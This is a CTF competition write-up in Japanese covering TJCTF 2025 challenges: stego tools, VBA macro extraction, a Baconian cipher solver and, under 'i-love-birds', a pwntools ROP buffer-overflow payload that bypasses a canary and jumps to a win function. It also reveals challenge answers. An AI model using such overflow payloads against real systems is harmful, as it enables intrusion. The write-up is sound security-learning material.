TJCTF 2025 Writeup

TJCTF にソロで参加したので振り返り用の Writeup.
Web 問題をもう少し頑張りたい.

フラグ形式・禁止事項等 (抜粋)

tjctf{}
        

discord

guess-my-number

from pwn import *

host = "tjc.tf"
port = 31700

sh = remote(host, port)

guess = 500
diff = 500

flag = ""
for i in range(10):
    prompt = sh.recvuntil("1 to 1000:")
    print(prompt.decode())

    print("send:", guess)
    sh.sendline(str(guess).encode())

    ans = sh.recvline()

    ans_list = ans.decode().strip().split()

    if ans_list[0] == "You":
        flag = " ".join(ans_list)
        break

    diff = diff // 2
    if ans_list[-1] == "high":
        guess -= diff
    else:
        guess += diff

print("flag:", flag)

sh.interactive()
        

hidden-message

binwalk -D=".*" suspicious.png
        
zsteg suspicious.png
        

deep-layers

exiftool chall.png
        
---
Interlace                       : Noninterlaced
Password                        : cDBseWdsMHRwM3NzdzByZA==
Warning                         : [minor] Trailer data after PNG IEND chunk
Image Size                      : 1x1
Megapixels                      : 0.000001
        
binwalk -D=".*" chall.png
        

guess-login

olevba chall.xlsm --reveal > vbascript.txt
        
Sub CheckFlag()
    Dim guess As String
    guess = ActiveSheet.Shapes("TextBox 1").TextFrame2.TextRange.Text

    If Len(guess) < 7 Then
        MsgBox "Incorrect"
        Exit Sub
    End If

    If Left(guess, 6) <> "tjctf{" Or Right(guess, 1) <> "}" Then
        MsgBox "Flag must start with tjctf{ and end with }"
        Exit Sub
    End If

    Dim inner As String
    inner = Mid(guess, 7, Len(guess) - 7)
    
    Dim expectedCodes As Variant
    expectedCodes = Array(98, 117, 116, 95, 99, 52, 110, 95, 49, 116, 95, 114, 117, 110, 95, 100, 48, 48, 109)
    Dim i As Long
    If Len(inner) <> (UBound(expectedCodes) - LBound(expectedCodes) + 1) Then
        MsgBox "Incorrect"
        Exit Sub
    End If
    For i = 1 To Len(inner)
        If Asc(Mid(inner, i, 1)) <> expectedCodes(i - 1) Then
            MsgBox "Incorrect"
            Exit Sub
        End If
    Next i
    
    MsgBox "Flag correct!"
End Sub
        

i-love-birds

payload = "a".encode() * 76 # padding
payload += p32(0xdeadbeef) # canary
payload += "a".encode() * 8 # padding
payload += p64(0x4011c0) # pop rdi (gadget)
payload += p64(0xa1b2c3d4) # rdi value (secret)
payload += p64(0x616161616) # dummy
payload += p64(0x4011c4) # win function
        
  4011b6:	f3 0f 1e fa          	endbr64
  4011ba:	55                   	push   rbp
  4011bb:	48 89 e5             	mov    rbp,rsp
  4011be:	6a 69                	push   0x69
  4011c0:	5f                   	pop    rdi
  4011c1:	90                   	nop
  4011c2:	5d                   	pop    rbp
  4011c3:	c3                   	ret
        
from pwn import *

host = $HOST
port = $PORT

sh = remote(host, port)

prompt = sh.recvuntil("wrong!")
print(prompt.decode())

payload = "a".encode() * 76 # padding
payload += p32(0xdeadbeef) # canary
payload += "a".encode() * 8 # padding
payload += p64(0x4011c0) # pop rdi (gadget)
payload += p64(0xa1b2c3d4) # rdi value (secret)
payload += p64(0x616161616) # dummy
payload += p64(0x4011c4) # win function

print("send payload!")

sh.sendline(payload)

sh.interactive()
        

bacon-bits

def rec_ij(flag, seq, i):
    if i == len(flag) - 1:
        if flag[i] == "i":
            print(seq + "i")
            print(seq + "j")
        else:
            print(seq + flag[i])
    else:
        if flag[i] == "i":
            rec_ij(flag, seq+"i", i+1)
            rec_ij(flag, seq+"j", i+1)
        else:
            rec_ij(flag, seq+flag[i], i+1)

baconian = {
'a': '00000',	'b': '00001',
'c': '00010',	'd': '00011',
'e': '00100',	'f': '00101',
'g': '00110',	'h': '00111',
'i': '01000',    'j': '01000',
'k': '01001',    'l': '01010',
'm': '01011',    'n': '01100',
'o': '01101',    'p': '01110',
'q': '01111',    'r': '10000',
's': '10001',    't': '10010',
'u': '10011',    'v': '10011',
'w': '10100',	'x': '10101',
'y': '10110',	'z': '10111'}

with open("out.txt", "r") as f:
    txt = list(f.read())
    ciphertext = ""
    for ch in txt:
        ciphertext += chr(ord(ch)+13)

    cih_list = list(ciphertext)
    flag = ""
    for i in range(len(cih_list)//5):
        num = ""
        for j in range(5):
            if cih_list[i*5+j].islower():
                num += "0"
            else:
                num += "1"

        for key in baconian.keys():
            if baconian[key] == num:
                if key == "j":
                    continue
                else:
                    flag += key
    
    rec_ij(flag, "", 0)
        

serpent

import pickle
import ast

with open("ast_dump.pickle", "rb") as f:
    ast_obj = pickle.load(f)

    source = ast.unparse(ast_obj)
    
    with open("deced.py", "w") as df:
        df.write(source)